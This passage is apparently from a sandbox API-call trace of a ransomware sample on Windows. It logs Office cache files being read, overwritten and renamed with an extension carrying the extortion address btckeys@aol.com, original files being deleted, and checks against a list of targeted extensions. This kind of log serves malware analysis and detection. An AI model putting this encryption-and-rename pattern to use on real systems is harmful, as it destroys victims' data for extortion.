returned 1 [0077.256] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab")) returned 0x2020 [0077.256] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.256] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[btckeys@aol.com].2020")) returned 1 [0077.257] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\acclr.cab.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0077.257] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc6c | out: lpNewFilePointer=0x0) returned 1 [0077.257] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0077.257] ReadFile (in: hFile=0x1e8, lpBuffer=0x3640058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x3640058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.361] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0077.361] ReadFile (in: hFile=0x1e8, lpBuffer=0x3680058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x3680058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.417] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2bafc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0077.417] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc2c | out: lpNewFilePointer=0x0) returned 1 [0077.417] ReadFile (in: hFile=0x1e8, lpBuffer=0x36c0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2bafc38, lpOverlapped=0x0 | out: lpBuffer=0x36c0058*, lpNumberOfBytesRead=0x2bafc38*=0x40000, lpOverlapped=0x0) returned 1 [0077.892] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.892] WriteFile (in: hFile=0x1e8, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2bafcb0, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0077.915] SetEndOfFile (hFile=0x1e8) returned 1 [0077.915] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f74fa0 [0077.949] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0077.949] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.950] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x8e7f86, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0077.950] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.953] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x1a77e94, lpNewFilePointer=0x0, dwMoveMethod=0x2bafc7c | out: lpNewFilePointer=0x0) returned 1 [0077.953] WriteFile (in: hFile=0x1e8, lpBuffer=0x3f74fa0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2bafc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74fa0*, lpNumberOfBytesWritten=0x2bafc88*=0x40000, lpOverlapped=0x0) returned 1 [0077.953] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f74fa0 | out: hHeap=0x4b0000) returned 1 [0077.953] CloseHandle (hObject=0x1e8) returned 1 [0077.953] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0077.953] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.953] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.953] lstrlenW (lpString=".doc") returned 4 [0077.953] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0077.953] lstrlenW (lpString=".docx") returned 5 [0077.953] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0077.954] lstrlenW (lpString=".pdf") returned 4 [0077.954] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0077.954] lstrlenW (lpString=".xls") returned 4 [0077.954] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0077.954] lstrlenW (lpString=".xlsx") returned 5 [0077.954] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0077.954] lstrlenW (lpString=".ppt") returned 4 [0077.954] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0077.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.954] lstrlenW (lpString=".zip") returned 4 [0077.954] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0077.954] lstrlenW (lpString=".rar") returned 4 [0077.954] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0077.954] lstrlenW (lpString=".bz2") returned 4 [0077.954] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0077.954] lstrlenW (lpString=".7z") returned 3 [0077.954] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0077.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.954] lstrlenW (lpString=".dbf") returned 4 [0077.954] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0077.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.954] lstrlenW (lpString=".1cd") returned 4 [0077.954] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0077.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.954] lstrlenW (lpString=".jpg") returned 4 [0077.954] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0077.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.954] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.954] lstrlenW (lpString=".doc") returned 4 [0077.954] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0077.954] lstrlenW (lpString=".docx") returned 5 [0077.954] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0077.955] lstrlenW (lpString=".pdf") returned 4 [0077.955] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0077.955] lstrlenW (lpString=".xls") returned 4 [0077.955] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0077.955] lstrlenW (lpString=".xlsx") returned 5 [0077.955] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0077.955] lstrlenW (lpString=".ppt") returned 4 [0077.955] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0077.955] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.955] lstrlenW (lpString=".zip") returned 4 [0077.955] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0077.955] lstrlenW (lpString=".rar") returned 4 [0077.955] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0077.955] lstrlenW (lpString=".bz2") returned 4 [0077.955] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0077.955] lstrlenW (lpString=".7z") returned 3 [0077.956] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0077.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.956] lstrlenW (lpString=".dbf") returned 4 [0077.956] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0077.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.956] lstrlenW (lpString=".1cd") returned 4 [0077.956] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0077.956] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned 85 [0077.956] lstrlenW (lpString=".jpg") returned 4 [0077.956] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0077.956] lstrcmpiW (lpString1=".dll", lpString2=".2020") returned 1 [0077.956] lstrlenW (lpString="PidGenX.dll") returned 11 [0077.956] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0077.956] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2baff1c | out: lpFileSize=0x2baff1c*=1463568) returned 1 [0077.956] CloseHandle (hObject=0x1e8) returned 1 [0077.956] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 0x2020 [0077.957] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0077.957] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0077.957] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.957] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0077.957] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0077.957] GetLastError () returned 0x0 [0077.957] ReadFile (in: hFile=0x1e8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0xffff0, lpOverlapped=0x0) returned 1 [0078.328] WriteFile (in: hFile=0x198, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0078.347] ReadFile (in: hFile=0x1e8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0x65520, lpOverlapped=0x0) returned 1 [0078.796] WriteFile (in: hFile=0x198, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x65530, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0x65530, lpOverlapped=0x0) returned 1 [0078.809] ReadFile (in: hFile=0x1e8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0x0, lpOverlapped=0x0) returned 1 [0078.809] WriteFile (in: hFile=0x198, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0xea, lpOverlapped=0x0) returned 1 [0078.809] SetEndOfFile (hFile=0x198) returned 1 [0078.809] CloseHandle (hObject=0x198) returned 1 [0078.810] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0078.810] SetEndOfFile (hFile=0x1e8) returned 1 [0078.814] CloseHandle (hObject=0x1e8) returned 1 [0078.814] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0078.814] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\pidgenx.dll")) returned 1 [0078.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0078.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0078.814] lstrlenW (lpString=".doc") returned 4 [0078.814] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0078.814] lstrlenW (lpString=".docx") returned 5 [0078.814] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0078.814] lstrlenW (lpString=".pdf") returned 4 [0078.814] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0078.815] lstrlenW (lpString=".xls") returned 4 [0078.815] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0078.815] lstrlenW (lpString=".xlsx") returned 5 [0078.815] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0078.815] lstrlenW (lpString=".ppt") returned 4 [0078.815] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0078.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0078.815] lstrlenW (lpString=".zip") returned 4 [0078.815] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0078.815] lstrlenW (lpString=".rar") returned 4 [0078.815] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0078.815] lstrlenW (lpString=".bz2") returned 4 [0078.815] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0078.815] lstrlenW (lpString=".7z") returned 3 [0078.815] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0078.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0078.815] lstrlenW (lpString=".dbf") returned 4 [0078.815] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0078.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0078.815] lstrlenW (lpString=".1cd") returned 4 [0078.815] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0078.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0078.815] lstrlenW (lpString=".jpg") returned 4 [0078.815] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0078.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0078.815] lstrlenW (lpString=".doc") returned 4 [0078.815] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0078.815] lstrlenW (lpString=".docx") returned 5 [0078.815] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0078.815] lstrlenW (lpString=".pdf") returned 4 [0078.815] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0078.815] lstrlenW (lpString=".xls") returned 4 [0078.816] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0078.816] lstrlenW (lpString=".xlsx") returned 5 [0078.816] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0078.816] lstrlenW (lpString=".ppt") returned 4 [0078.816] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0078.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0078.816] lstrlenW (lpString=".zip") returned 4 [0078.816] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0078.816] lstrlenW (lpString=".rar") returned 4 [0078.816] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0078.816] lstrlenW (lpString=".bz2") returned 4 [0078.816] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0078.816] lstrlenW (lpString=".7z") returned 3 [0078.816] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0078.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0078.816] lstrlenW (lpString=".dbf") returned 4 [0078.816] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0078.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0078.816] lstrlenW (lpString=".1cd") returned 4 [0078.816] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0078.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0078.816] lstrlenW (lpString=".jpg") returned 4 [0078.816] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0078.816] lstrcmpiW (lpString1=".exe", lpString2=".2020") returned 1 [0078.816] lstrlenW (lpString="setup.exe") returned 9 [0078.816] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0078.817] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x2baff1c | out: lpFileSize=0x2baff1c*=1377656) returned 1 [0078.817] CloseHandle (hObject=0x1e8) returned 1 [0078.817] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0078.817] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0078.817] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0078.817] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0078.817] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0078.817] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0078.818] GetLastError () returned 0x0 [0078.818] ReadFile (in: hFile=0x1e8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0xffff0, lpOverlapped=0x0) returned 1 [0078.998] WriteFile (in: hFile=0x198, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0079.274] ReadFile (in: hFile=0x1e8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0x50588, lpOverlapped=0x0) returned 1 [0079.294] WriteFile (in: hFile=0x198, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0x50590, lpOverlapped=0x0) returned 1 [0079.306] ReadFile (in: hFile=0x1e8, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bafed4, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesRead=0x2bafed4*=0x0, lpOverlapped=0x0) returned 1 [0079.306] WriteFile (in: hFile=0x198, lpBuffer=0x3640020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2bafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3640020*, lpNumberOfBytesWritten=0x2bafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0079.306] SetEndOfFile (hFile=0x198) returned 1 [0079.579] CloseHandle (hObject=0x198) returned 1 [0079.943] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.943] SetEndOfFile (hFile=0x1e8) returned 1 [0079.947] CloseHandle (hObject=0x1e8) returned 1 [0079.947] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0079.948] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0079.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.950] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.950] lstrlenW (lpString=".doc") returned 4 [0079.950] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0079.950] lstrlenW (lpString=".docx") returned 5 [0079.950] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0079.950] lstrlenW (lpString=".pdf") returned 4 [0079.950] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0079.951] lstrlenW (lpString=".xls") returned 4 [0079.951] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0079.951] lstrlenW (lpString=".xlsx") returned 5 [0079.951] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0079.951] lstrlenW (lpString=".ppt") returned 4 [0079.951] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0079.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.951] lstrlenW (lpString=".zip") returned 4 [0079.951] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0079.951] lstrlenW (lpString=".rar") returned 4 [0079.951] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0079.951] lstrlenW (lpString=".bz2") returned 4 [0079.951] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0079.951] lstrlenW (lpString=".7z") returned 3 [0079.951] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0079.951] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0079.951] lstrlenW (lpString=".dbf") returned 4 [0079.951] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0079.951] lstrlenW (lpString="C:\\MSOCache\\All 